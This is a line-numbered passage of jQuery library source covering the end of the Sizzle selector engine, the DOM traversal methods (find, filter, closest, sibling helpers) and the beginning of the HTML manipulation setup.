  4912. return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
  4913. },
  4914.  
  4915. "selected": function( elem ) {
  4916. // Accessing this property makes selected-by-default
  4917. // options in Safari work properly
  4918. if ( elem.parentNode ) {
  4919. elem.parentNode.selectedIndex;
  4920. }
  4921.  
  4922. return elem.selected === true;
  4923. },
  4924.  
  4925. // Contents
  4926. "empty": function( elem ) {
  4927. // http://www.w3.org/TR/selectors/#empty-pseudo
  4928. // :empty is only affected by element nodes and content nodes(including text(3), cdata(4)),
  4929. // not comment, processing instructions, or others
  4930. // Thanks to Diego Perini for the nodeName shortcut
  4931. // Greater than "@" means alpha characters (specifically not starting with "#" or "?")
  4932. for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
  4933. if ( elem.nodeName > "@" || elem.nodeType === 3 || elem.nodeType === 4 ) {
  4934. return false;
  4935. }
  4936. }
  4937. return true;
  4938. },
  4939.  
  4940. "parent": function( elem ) {
  4941. return !Expr.pseudos["empty"]( elem );
  4942. },
  4943.  
  4944. // Element/input types
  4945. "header": function( elem ) {
  4946. return rheader.test( elem.nodeName );
  4947. },
  4948.  
  4949. "input": function( elem ) {
  4950. return rinputs.test( elem.nodeName );
  4951. },
  4952.  
  4953. "button": function( elem ) {
  4954. var name = elem.nodeName.toLowerCase();
  4955. return name === "input" && elem.type === "button" || name === "button";
  4956. },
  4957.  
  4958. "text": function( elem ) {
  4959. var attr;
  4960. // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
  4961. // use getAttribute instead to test this case
  4962. return elem.nodeName.toLowerCase() === "input" &&
  4963. elem.type === "text" &&
  4964. ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === elem.type );
  4965. },
  4966.  
  4967. // Position-in-collection
  4968. "first": createPositionalPseudo(function() {
  4969. return [ 0 ];
  4970. }),
  4971.  
  4972. "last": createPositionalPseudo(function( matchIndexes, length ) {
  4973. return [ length - 1 ];
  4974. }),
  4975.  
  4976. "eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
  4977. return [ argument < 0 ? argument + length : argument ];
  4978. }),
  4979.  
  4980. "even": createPositionalPseudo(function( matchIndexes, length ) {
  4981. var i = 0;
  4982. for ( ; i < length; i += 2 ) {
  4983. matchIndexes.push( i );
  4984. }
  4985. return matchIndexes;
  4986. }),
  4987.  
  4988. "odd": createPositionalPseudo(function( matchIndexes, length ) {
  4989. var i = 1;
  4990. for ( ; i < length; i += 2 ) {
  4991. matchIndexes.push( i );
  4992. }
  4993. return matchIndexes;
  4994. }),
  4995.  
  4996. "lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
  4997. var i = argument < 0 ? argument + length : argument;
  4998. for ( ; --i >= 0; ) {
  4999. matchIndexes.push( i );
  5000. }
  5001. return matchIndexes;
  5002. }),
  5003.  
  5004. "gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
  5005. var i = argument < 0 ? argument + length : argument;
  5006. for ( ; ++i < length; ) {
  5007. matchIndexes.push( i );
  5008. }
  5009. return matchIndexes;
  5010. })
  5011. }
  5012. };
  5013.  
  5014. // Add button/input type pseudos
  5015. for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
  5016. Expr.pseudos[ i ] = createInputPseudo( i );
  5017. }
  5018. for ( i in { submit: true, reset: true } ) {
  5019. Expr.pseudos[ i ] = createButtonPseudo( i );
  5020. }
  5021.  
  5022. function tokenize( selector, parseOnly ) {
  5023. var matched, match, tokens, type,
  5024. soFar, groups, preFilters,
  5025. cached = tokenCache[ selector + " " ];
  5026.  
  5027. if ( cached ) {
  5028. return parseOnly ? 0 : cached.slice( 0 );
  5029. }
  5030.  
  5031. soFar = selector;
  5032. groups = [];
  5033. preFilters = Expr.preFilter;
  5034.  
  5035. while ( soFar ) {
  5036.  
  5037. // Comma and first run
  5038. if ( !matched || (match = rcomma.exec( soFar )) ) {
  5039. if ( match ) {
  5040. // Don't consume trailing commas as valid
  5041. soFar = soFar.slice( match[0].length ) || soFar;
  5042. }
  5043. groups.push( tokens = [] );
  5044. }
  5045.  
  5046. matched = false;
  5047.  
  5048. // Combinators
  5049. if ( (match = rcombinators.exec( soFar )) ) {
  5050. matched = match.shift();
  5051. tokens.push( {
  5052. value: matched,
  5053. // Cast descendant combinators to space
  5054. type: match[0].replace( rtrim, " " )
  5055. } );
  5056. soFar = soFar.slice( matched.length );
  5057. }
  5058.  
  5059. // Filters
  5060. for ( type in Expr.filter ) {
  5061. if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
  5062. (match = preFilters[ type ]( match ))) ) {
  5063. matched = match.shift();
  5064. tokens.push( {
  5065. value: matched,
  5066. type: type,
  5067. matches: match
  5068. } );
  5069. soFar = soFar.slice( matched.length );
  5070. }
  5071. }
  5072.  
  5073. if ( !matched ) {
  5074. break;
  5075. }
  5076. }
  5077.  
  5078. // Return the length of the invalid excess
  5079. // if we're just parsing
  5080. // Otherwise, throw an error or return tokens
  5081. return parseOnly ?
  5082. soFar.length :
  5083. soFar ?
  5084. Sizzle.error( selector ) :
  5085. // Cache the tokens
  5086. tokenCache( selector, groups ).slice( 0 );
  5087. }
  5088.  
  5089. function toSelector( tokens ) {
  5090. var i = 0,
  5091. len = tokens.length,
  5092. selector = "";
  5093. for ( ; i < len; i++ ) {
  5094. selector += tokens[i].value;
  5095. }
  5096. return selector;
  5097. }
  5098.  
  5099. function addCombinator( matcher, combinator, base ) {
  5100. var dir = combinator.dir,
  5101. checkNonElements = base && dir === "parentNode",
  5102. doneName = done++;
  5103.  
  5104. return combinator.first ?
  5105. // Check against closest ancestor/preceding element
  5106. function( elem, context, xml ) {
  5107. while ( (elem = elem[ dir ]) ) {
  5108. if ( elem.nodeType === 1 || checkNonElements ) {
  5109. return matcher( elem, context, xml );
  5110. }
  5111. }
  5112. } :
  5113.  
  5114. // Check against all ancestor/preceding elements
  5115. function( elem, context, xml ) {
  5116. var data, cache, outerCache,
  5117. dirkey = dirruns + " " + doneName;
  5118.  
  5119. // We can't set arbitrary data on XML nodes, so they don't benefit from dir caching
  5120. if ( xml ) {
  5121. while ( (elem = elem[ dir ]) ) {
  5122. if ( elem.nodeType === 1 || checkNonElements ) {
  5123. if ( matcher( elem, context, xml ) ) {
  5124. return true;
  5125. }
  5126. }
  5127. }
  5128. } else {
  5129. while ( (elem = elem[ dir ]) ) {
  5130. if ( elem.nodeType === 1 || checkNonElements ) {
  5131. outerCache = elem[ expando ] || (elem[ expando ] = {});
  5132. if ( (cache = outerCache[ dir ]) && cache[0] === dirkey ) {
  5133. if ( (data = cache[1]) === true || data === cachedruns ) {
  5134. return data === true;
  5135. }
  5136. } else {
  5137. cache = outerCache[ dir ] = [ dirkey ];
  5138. cache[1] = matcher( elem, context, xml ) || cachedruns;
  5139. if ( cache[1] === true ) {
  5140. return true;
  5141. }
  5142. }
  5143. }
  5144. }
  5145. }
  5146. };
  5147. }
  5148.  
  5149. function elementMatcher( matchers ) {
  5150. return matchers.length > 1 ?
  5151. function( elem, context, xml ) {
  5152. var i = matchers.length;
  5153. while ( i-- ) {
  5154. if ( !matchers[i]( elem, context, xml ) ) {
  5155. return false;
  5156. }
  5157. }
  5158. return true;
  5159. } :
  5160. matchers[0];
  5161. }
  5162.  
  5163. function condense( unmatched, map, filter, context, xml ) {
  5164. var elem,
  5165. newUnmatched = [],
  5166. i = 0,
  5167. len = unmatched.length,
  5168. mapped = map != null;
  5169.  
  5170. for ( ; i < len; i++ ) {
  5171. if ( (elem = unmatched[i]) ) {
  5172. if ( !filter || filter( elem, context, xml ) ) {
  5173. newUnmatched.push( elem );
  5174. if ( mapped ) {
  5175. map.push( i );
  5176. }
  5177. }
  5178. }
  5179. }
  5180.  
  5181. return newUnmatched;
  5182. }
  5183.  
  5184. function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
  5185. if ( postFilter && !postFilter[ expando ] ) {
  5186. postFilter = setMatcher( postFilter );
  5187. }
  5188. if ( postFinder && !postFinder[ expando ] ) {
  5189. postFinder = setMatcher( postFinder, postSelector );
  5190. }
  5191. return markFunction(function( seed, results, context, xml ) {
  5192. var temp, i, elem,
  5193. preMap = [],
  5194. postMap = [],
  5195. preexisting = results.length,
  5196.  
  5197. // Get initial elements from seed or context
  5198. elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
  5199.  
  5200. // Prefilter to get matcher input, preserving a map for seed-results synchronization
  5201. matcherIn = preFilter && ( seed || !selector ) ?
  5202. condense( elems, preMap, preFilter, context, xml ) :
  5203. elems,
  5204.  
  5205. matcherOut = matcher ?
  5206. // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
  5207. postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
  5208.  
  5209. // ...intermediate processing is necessary
  5210. [] :
  5211.  
  5212. // ...otherwise use results directly
  5213. results :
  5214. matcherIn;
  5215.  
  5216. // Find primary matches
  5217. if ( matcher ) {
  5218. matcher( matcherIn, matcherOut, context, xml );
  5219. }
  5220.  
  5221. // Apply postFilter
  5222. if ( postFilter ) {
  5223. temp = condense( matcherOut, postMap );
  5224. postFilter( temp, [], context, xml );
  5225.  
  5226. // Un-match failing elements by moving them back to matcherIn
  5227. i = temp.length;
  5228. while ( i-- ) {
  5229. if ( (elem = temp[i]) ) {
  5230. matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
  5231. }
  5232. }
  5233. }
  5234.  
  5235. if ( seed ) {
  5236. if ( postFinder || preFilter ) {
  5237. if ( postFinder ) {
  5238. // Get the final matcherOut by condensing this intermediate into postFinder contexts
  5239. temp = [];
  5240. i = matcherOut.length;
  5241. while ( i-- ) {
  5242. if ( (elem = matcherOut[i]) ) {
  5243. // Restore matcherIn since elem is not yet a final match
  5244. temp.push( (matcherIn[i] = elem) );
  5245. }
  5246. }
  5247. postFinder( null, (matcherOut = []), temp, xml );
  5248. }
  5249.  
  5250. // Move matched elements from seed to results to keep them synchronized
  5251. i = matcherOut.length;
  5252. while ( i-- ) {
  5253. if ( (elem = matcherOut[i]) &&
  5254. (temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) {
  5255.  
  5256. seed[temp] = !(results[temp] = elem);
  5257. }
  5258. }
  5259. }
  5260.  
  5261. // Add elements to results, through postFinder if defined
  5262. } else {
  5263. matcherOut = condense(
  5264. matcherOut === results ?
  5265. matcherOut.splice( preexisting, matcherOut.length ) :
  5266. matcherOut
  5267. );
  5268. if ( postFinder ) {
  5269. postFinder( null, results, matcherOut, xml );
  5270. } else {
  5271. push.apply( results, matcherOut );
  5272. }
  5273. }
  5274. });
  5275. }
  5276.  
  5277. function matcherFromTokens( tokens ) {
  5278. var checkContext, matcher, j,
  5279. len = tokens.length,
  5280. leadingRelative = Expr.relative[ tokens[0].type ],
  5281. implicitRelative = leadingRelative || Expr.relative[" "],
  5282. i = leadingRelative ? 1 : 0,
  5283.  
  5284. // The foundational matcher ensures that elements are reachable from top-level context(s)
  5285. matchContext = addCombinator( function( elem ) {
  5286. return elem === checkContext;
  5287. }, implicitRelative, true ),
  5288. matchAnyContext = addCombinator( function( elem ) {
  5289. return indexOf.call( checkContext, elem ) > -1;
  5290. }, implicitRelative, true ),
  5291. matchers = [ function( elem, context, xml ) {
  5292. return ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
  5293. (checkContext = context).nodeType ?
  5294. matchContext( elem, context, xml ) :
  5295. matchAnyContext( elem, context, xml ) );
  5296. } ];
  5297.  
  5298. for ( ; i < len; i++ ) {
  5299. if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
  5300. matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
  5301. } else {
  5302. matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
  5303.  
  5304. // Return special upon seeing a positional matcher
  5305. if ( matcher[ expando ] ) {
  5306. // Find the next relative operator (if any) for proper handling
  5307. j = ++i;
  5308. for ( ; j < len; j++ ) {
  5309. if ( Expr.relative[ tokens[j].type ] ) {
  5310. break;
  5311. }
  5312. }
  5313. return setMatcher(
  5314. i > 1 && elementMatcher( matchers ),
  5315. i > 1 && toSelector( tokens.slice( 0, i - 1 ) ).replace( rtrim, "$1" ),
  5316. matcher,
  5317. i < j && matcherFromTokens( tokens.slice( i, j ) ),
  5318. j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
  5319. j < len && toSelector( tokens )
  5320. );
  5321. }
  5322. matchers.push( matcher );
  5323. }
  5324. }
  5325.  
  5326. return elementMatcher( matchers );
  5327. }
  5328.  
  5329. function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
  5330. // A counter to specify which element is currently being matched
  5331. var matcherCachedRuns = 0,
  5332. bySet = setMatchers.length > 0,
  5333. byElement = elementMatchers.length > 0,
  5334. superMatcher = function( seed, context, xml, results, expandContext ) {
  5335. var elem, j, matcher,
  5336. setMatched = [],
  5337. matchedCount = 0,
  5338. i = "0",
  5339. unmatched = seed && [],
  5340. outermost = expandContext != null,
  5341. contextBackup = outermostContext,
  5342. // We must always have either seed elements or context
  5343. elems = seed || byElement && Expr.find["TAG"]( "*", expandContext && context.parentNode || context ),
  5344. // Use integer dirruns iff this is the outermost matcher
  5345. dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1);
  5346.  
  5347. if ( outermost ) {
  5348. outermostContext = context !== document && context;
  5349. cachedruns = matcherCachedRuns;
  5350. }
  5351.  
  5352. // Add elements passing elementMatchers directly to results
  5353. // Keep `i` a string if there are no elements so `matchedCount` will be "00" below
  5354. for ( ; (elem = elems[i]) != null; i++ ) {
  5355. if ( byElement && elem ) {
  5356. j = 0;
  5357. while ( (matcher = elementMatchers[j++]) ) {
  5358. if ( matcher( elem, context, xml ) ) {
  5359. results.push( elem );
  5360. break;
  5361. }
  5362. }
  5363. if ( outermost ) {
  5364. dirruns = dirrunsUnique;
  5365. cachedruns = ++matcherCachedRuns;
  5366. }
  5367. }
  5368.  
  5369. // Track unmatched elements for set filters
  5370. if ( bySet ) {
  5371. // They will have gone through all possible matchers
  5372. if ( (elem = !matcher && elem) ) {
  5373. matchedCount--;
  5374. }
  5375.  
  5376. // Lengthen the array for every element, matched or not
  5377. if ( seed ) {
  5378. unmatched.push( elem );
  5379. }
  5380. }
  5381. }
  5382.  
  5383. // Apply set filters to unmatched elements
  5384. matchedCount += i;
  5385. if ( bySet && i !== matchedCount ) {
  5386. j = 0;
  5387. while ( (matcher = setMatchers[j++]) ) {
  5388. matcher( unmatched, setMatched, context, xml );
  5389. }
  5390.  
  5391. if ( seed ) {
  5392. // Reintegrate element matches to eliminate the need for sorting
  5393. if ( matchedCount > 0 ) {
  5394. while ( i-- ) {
  5395. if ( !(unmatched[i] || setMatched[i]) ) {
  5396. setMatched[i] = pop.call( results );
  5397. }
  5398. }
  5399. }
  5400.  
  5401. // Discard index placeholder values to get only actual matches
  5402. setMatched = condense( setMatched );
  5403. }
  5404.  
  5405. // Add matches to results
  5406. push.apply( results, setMatched );
  5407.  
  5408. // Seedless set matches succeeding multiple successful matchers stipulate sorting
  5409. if ( outermost && !seed && setMatched.length > 0 &&
  5410. ( matchedCount + setMatchers.length ) > 1 ) {
  5411.  
  5412. Sizzle.uniqueSort( results );
  5413. }
  5414. }
  5415.  
  5416. // Override manipulation of globals by nested matchers
  5417. if ( outermost ) {
  5418. dirruns = dirrunsUnique;
  5419. outermostContext = contextBackup;
  5420. }
  5421.  
  5422. return unmatched;
  5423. };
  5424.  
  5425. return bySet ?
  5426. markFunction( superMatcher ) :
  5427. superMatcher;
  5428. }
  5429.  
  5430. compile = Sizzle.compile = function( selector, group /* Internal Use Only */ ) {
  5431. var i,
  5432. setMatchers = [],
  5433. elementMatchers = [],
  5434. cached = compilerCache[ selector + " " ];
  5435.  
  5436. if ( !cached ) {
  5437. // Generate a function of recursive functions that can be used to check each element
  5438. if ( !group ) {
  5439. group = tokenize( selector );
  5440. }
  5441. i = group.length;
  5442. while ( i-- ) {
  5443. cached = matcherFromTokens( group[i] );
  5444. if ( cached[ expando ] ) {
  5445. setMatchers.push( cached );
  5446. } else {
  5447. elementMatchers.push( cached );
  5448. }
  5449. }
  5450.  
  5451. // Cache the compiled function
  5452. cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
  5453. }
  5454. return cached;
  5455. };
  5456.  
  5457. function multipleContexts( selector, contexts, results ) {
  5458. var i = 0,
  5459. len = contexts.length;
  5460. for ( ; i < len; i++ ) {
  5461. Sizzle( selector, contexts[i], results );
  5462. }
  5463. return results;
  5464. }
  5465.  
  5466. function select( selector, context, results, seed ) {
  5467. var i, tokens, token, type, find,
  5468. match = tokenize( selector );
  5469.  
  5470. if ( !seed ) {
  5471. // Try to minimize operations if there is only one group
  5472. if ( match.length === 1 ) {
  5473.  
  5474. // Take a shortcut and set the context if the root selector is an ID
  5475. tokens = match[0] = match[0].slice( 0 );
  5476. if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
  5477. context.nodeType === 9 && !documentIsXML &&
  5478. Expr.relative[ tokens[1].type ] ) {
  5479.  
  5480. context = Expr.find["ID"]( token.matches[0].replace( runescape, funescape ), context )[0];
  5481. if ( !context ) {
  5482. return results;
  5483. }
  5484.  
  5485. selector = selector.slice( tokens.shift().value.length );
  5486. }
  5487.  
  5488. // Fetch a seed set for right-to-left matching
  5489. i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
  5490. while ( i-- ) {
  5491. token = tokens[i];
  5492.  
  5493. // Abort if we hit a combinator
  5494. if ( Expr.relative[ (type = token.type) ] ) {
  5495. break;
  5496. }
  5497. if ( (find = Expr.find[ type ]) ) {
  5498. // Search, expanding context for leading sibling combinators
  5499. if ( (seed = find(
  5500. token.matches[0].replace( runescape, funescape ),
  5501. rsibling.test( tokens[0].type ) && context.parentNode || context
  5502. )) ) {
  5503.  
  5504. // If seed is empty or no tokens remain, we can return early
  5505. tokens.splice( i, 1 );
  5506. selector = seed.length && toSelector( tokens );
  5507. if ( !selector ) {
  5508. push.apply( results, slice.call( seed, 0 ) );
  5509. return results;
  5510. }
  5511.  
  5512. break;
  5513. }
  5514. }
  5515. }
  5516. }
  5517. }
  5518.  
  5519. // Compile and execute a filtering function
  5520. // Provide `match` to avoid retokenization if we modified the selector above
  5521. compile( selector, match )(
  5522. seed,
  5523. context,
  5524. documentIsXML,
  5525. results,
  5526. rsibling.test( selector )
  5527. );
  5528. return results;
  5529. }
  5530.  
  5531. // Deprecated
  5532. Expr.pseudos["nth"] = Expr.pseudos["eq"];
  5533.  
  5534. // Easy API for creating new setFilters
  5535. function setFilters() {}
  5536. Expr.filters = setFilters.prototype = Expr.pseudos;
  5537. Expr.setFilters = new setFilters();
  5538.  
  5539. // Initialize with the default document
  5540. setDocument();
  5541.  
  5542. // Override sizzle attribute retrieval
  5543. Sizzle.attr = jQuery.attr;
  5544. jQuery.find = Sizzle;
  5545. jQuery.expr = Sizzle.selectors;
  5546. jQuery.expr[":"] = jQuery.expr.pseudos;
  5547. jQuery.unique = Sizzle.uniqueSort;
  5548. jQuery.text = Sizzle.getText;
  5549. jQuery.isXMLDoc = Sizzle.isXML;
  5550. jQuery.contains = Sizzle.contains;
  5551.  
  5552.  
  5553. })( window );
  5554. var runtil = /Until$/,
  5555. rparentsprev = /^(?:parents|prev(?:Until|All))/,
  5556. isSimple = /^.[^:#\[\.,]*$/,
  5557. rneedsContext = jQuery.expr.match.needsContext,
  5558. // methods guaranteed to produce a unique set when starting from a unique set
  5559. guaranteedUnique = {
  5560. children: true,
  5561. contents: true,
  5562. next: true,
  5563. prev: true
  5564. };
  5565.  
  5566. jQuery.fn.extend({
  5567. find: function( selector ) {
  5568. var i, ret, self,
  5569. len = this.length;
  5570.  
  5571. if ( typeof selector !== "string" ) {
  5572. self = this;
  5573. return this.pushStack( jQuery( selector ).filter(function() {
  5574. for ( i = 0; i < len; i++ ) {
  5575. if ( jQuery.contains( self[ i ], this ) ) {
  5576. return true;
  5577. }
  5578. }
  5579. }) );
  5580. }
  5581.  
  5582. ret = [];
  5583. for ( i = 0; i < len; i++ ) {
  5584. jQuery.find( selector, this[ i ], ret );
  5585. }
  5586.  
  5587. // Needed because $( selector, context ) becomes $( context ).find( selector )
  5588. ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret );
  5589. ret.selector = ( this.selector ? this.selector + " " : "" ) + selector;
  5590. return ret;
  5591. },
  5592.  
  5593. has: function( target ) {
  5594. var i,
  5595. targets = jQuery( target, this ),
  5596. len = targets.length;
  5597.  
  5598. return this.filter(function() {
  5599. for ( i = 0; i < len; i++ ) {
  5600. if ( jQuery.contains( this, targets[i] ) ) {
  5601. return true;
  5602. }
  5603. }
  5604. });
  5605. },
  5606.  
  5607. not: function( selector ) {
  5608. return this.pushStack( winnow(this, selector, false) );
  5609. },
  5610.  
  5611. filter: function( selector ) {
  5612. return this.pushStack( winnow(this, selector, true) );
  5613. },
  5614.  
  5615. is: function( selector ) {
  5616. return !!selector && (
  5617. typeof selector === "string" ?
  5618. // If this is a positional/relative selector, check membership in the returned set
  5619. // so $("p:first").is("p:last") won't return true for a doc with two "p".
  5620. rneedsContext.test( selector ) ?
  5621. jQuery( selector, this.context ).index( this[0] ) >= 0 :
  5622. jQuery.filter( selector, this ).length > 0 :
  5623. this.filter( selector ).length > 0 );
  5624. },
  5625.  
  5626. closest: function( selectors, context ) {
  5627. var cur,
  5628. i = 0,
  5629. l = this.length,
  5630. ret = [],
  5631. pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ?
  5632. jQuery( selectors, context || this.context ) :
  5633. 0;
  5634.  
  5635. for ( ; i < l; i++ ) {
  5636. cur = this[i];
  5637.  
  5638. while ( cur && cur.ownerDocument && cur !== context && cur.nodeType !== 11 ) {
  5639. if ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) {
  5640. ret.push( cur );
  5641. break;
  5642. }
  5643. cur = cur.parentNode;
  5644. }
  5645. }
  5646.  
  5647. return this.pushStack( ret.length > 1 ? jQuery.unique( ret ) : ret );
  5648. },
  5649.  
  5650. // Determine the position of an element within
  5651. // the matched set of elements
  5652. index: function( elem ) {
  5653.  
  5654. // No argument, return index in parent
  5655. if ( !elem ) {
  5656. return ( this[0] && this[0].parentNode ) ? this.first().prevAll().length : -1;
  5657. }
  5658.  
  5659. // index in selector
  5660. if ( typeof elem === "string" ) {
  5661. return jQuery.inArray( this[0], jQuery( elem ) );
  5662. }
  5663.  
  5664. // Locate the position of the desired element
  5665. return jQuery.inArray(
  5666. // If it receives a jQuery object, the first element is used
  5667. elem.jquery ? elem[0] : elem, this );
  5668. },
  5669.  
  5670. add: function( selector, context ) {
  5671. var set = typeof selector === "string" ?
  5672. jQuery( selector, context ) :
  5673. jQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ),
  5674. all = jQuery.merge( this.get(), set );
  5675.  
  5676. return this.pushStack( jQuery.unique(all) );
  5677. },
  5678.  
  5679. addBack: function( selector ) {
  5680. return this.add( selector == null ?
  5681. this.prevObject : this.prevObject.filter(selector)
  5682. );
  5683. }
  5684. });
  5685.  
  5686. jQuery.fn.andSelf = jQuery.fn.addBack;
  5687.  
  5688. function sibling( cur, dir ) {
  5689. do {
  5690. cur = cur[ dir ];
  5691. } while ( cur && cur.nodeType !== 1 );
  5692.  
  5693. return cur;
  5694. }
  5695.  
  5696. jQuery.each({
  5697. parent: function( elem ) {
  5698. var parent = elem.parentNode;
  5699. return parent && parent.nodeType !== 11 ? parent : null;
  5700. },
  5701. parents: function( elem ) {
  5702. return jQuery.dir( elem, "parentNode" );
  5703. },
  5704. parentsUntil: function( elem, i, until ) {
  5705. return jQuery.dir( elem, "parentNode", until );
  5706. },
  5707. next: function( elem ) {
  5708. return sibling( elem, "nextSibling" );
  5709. },
  5710. prev: function( elem ) {
  5711. return sibling( elem, "previousSibling" );
  5712. },
  5713. nextAll: function( elem ) {
  5714. return jQuery.dir( elem, "nextSibling" );
  5715. },
  5716. prevAll: function( elem ) {
  5717. return jQuery.dir( elem, "previousSibling" );
  5718. },
  5719. nextUntil: function( elem, i, until ) {
  5720. return jQuery.dir( elem, "nextSibling", until );
  5721. },
  5722. prevUntil: function( elem, i, until ) {
  5723. return jQuery.dir( elem, "previousSibling", until );
  5724. },
  5725. siblings: function( elem ) {
  5726. return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem );
  5727. },
  5728. children: function( elem ) {
  5729. return jQuery.sibling( elem.firstChild );
  5730. },
  5731. contents: function( elem ) {
  5732. return jQuery.nodeName( elem, "iframe" ) ?
  5733. elem.contentDocument || elem.contentWindow.document :
  5734. jQuery.merge( [], elem.childNodes );
  5735. }
  5736. }, function( name, fn ) {
  5737. jQuery.fn[ name ] = function( until, selector ) {
  5738. var ret = jQuery.map( this, fn, until );
  5739.  
  5740. if ( !runtil.test( name ) ) {
  5741. selector = until;
  5742. }
  5743.  
  5744. if ( selector && typeof selector === "string" ) {
  5745. ret = jQuery.filter( selector, ret );
  5746. }
  5747.  
  5748. ret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret;
  5749.  
  5750. if ( this.length > 1 && rparentsprev.test( name ) ) {
  5751. ret = ret.reverse();
  5752. }
  5753.  
  5754. return this.pushStack( ret );
  5755. };
  5756. });
  5757.  
  5758. jQuery.extend({
  5759. filter: function( expr, elems, not ) {
  5760. if ( not ) {
  5761. expr = ":not(" + expr + ")";
  5762. }
  5763.  
  5764. return elems.length === 1 ?
  5765. jQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] :
  5766. jQuery.find.matches(expr, elems);
  5767. },
  5768.  
  5769. dir: function( elem, dir, until ) {
  5770. var matched = [],
  5771. cur = elem[ dir ];
  5772.  
  5773. while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {
  5774. if ( cur.nodeType === 1 ) {
  5775. matched.push( cur );
  5776. }
  5777. cur = cur[dir];
  5778. }
  5779. return matched;
  5780. },
  5781.  
  5782. sibling: function( n, elem ) {
  5783. var r = [];
  5784.  
  5785. for ( ; n; n = n.nextSibling ) {
  5786. if ( n.nodeType === 1 && n !== elem ) {
  5787. r.push( n );
  5788. }
  5789. }
  5790.  
  5791. return r;
  5792. }
  5793. });
  5794.  
  5795. // Implement the identical functionality for filter and not
  5796. function winnow( elements, qualifier, keep ) {
  5797.  
  5798. // Can't pass null or undefined to indexOf in Firefox 4
  5799. // Set to 0 to skip string check
  5800. qualifier = qualifier || 0;
  5801.  
  5802. if ( jQuery.isFunction( qualifier ) ) {
  5803. return jQuery.grep(elements, function( elem, i ) {
  5804. var retVal = !!qualifier.call( elem, i, elem );
  5805. return retVal === keep;
  5806. });
  5807.  
  5808. } else if ( qualifier.nodeType ) {
  5809. return jQuery.grep(elements, function( elem ) {
  5810. return ( elem === qualifier ) === keep;
  5811. });
  5812.  
  5813. } else if ( typeof qualifier === "string" ) {
  5814. var filtered = jQuery.grep(elements, function( elem ) {
  5815. return elem.nodeType === 1;
  5816. });
  5817.  
  5818. if ( isSimple.test( qualifier ) ) {
  5819. return jQuery.filter(qualifier, filtered, !keep);
  5820. } else {
  5821. qualifier = jQuery.filter( qualifier, filtered );
  5822. }
  5823. }
  5824.  
  5825. return jQuery.grep(elements, function( elem ) {
  5826. return ( jQuery.inArray( elem, qualifier ) >= 0 ) === keep;
  5827. });
  5828. }
  5829. function createSafeFragment( document ) {
  5830. var list = nodeNames.split( "|" ),
  5831. safeFrag = document.createDocumentFragment();
  5832.  
  5833. if ( safeFrag.createElement ) {
  5834. while ( list.length ) {
  5835. safeFrag.createElement(
  5836. list.pop()
  5837. );
  5838. }
  5839. }
  5840. return safeFrag;
  5841. }
  5842.  
  5843. var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" +
  5844. "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
  5845. rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
  5846. rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
  5847. rleadingWhitespace = /^\s+/,
  5848. rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
  5849. rtagName = /<([\w:]+)/,
  5850. rtbody = /<tbody/i,
  5851. rhtml = /<|&#?\w+;/,
  5852. rnoInnerhtml = /<(?:script|style|link)/i,
  5853. manipulation_rcheckableType = /^(?:checkbox|radio)$/i,
  5854. // checked="checked" or checked
  5855. rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
  5856. rscriptType = /^$|\/(?:java|ecma)script/i,
  5857. rscriptTypeMasked = /^true\/(.*)/,
  5858. rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
  5859.  
  5860. // We have to close these tags to support XHTML (#13200)
  5861. wrapMap = {
  5862. option: [ 1, "<select multiple='multiple'>", "</select>" ],
  5863. legend: [ 1, "<fieldset>", "</fieldset>" ],
  5864. area: [ 1, "<map>", "</map>" ],
  5865. param: [ 1, "<object>", "</object>" ],
  5866. thead: [ 1, "<table>", "</table>" ],
  5867. tr: [ 2, "<table><tbody>", "</tbody></table>" ],
  5868. col: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ],
  5869. td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
  5870.  
  5871. // IE6-8 can't serialize link, script, style, or any html5 (NoScope) tags,
  5872. // unless wrapped in a div with non-breaking characters in front of it.
  5873. _default: jQuery.support.htmlSerialize ? [ 0, "", "" ] : [ 1, "X<div>", "</div>" ]
  5874. },
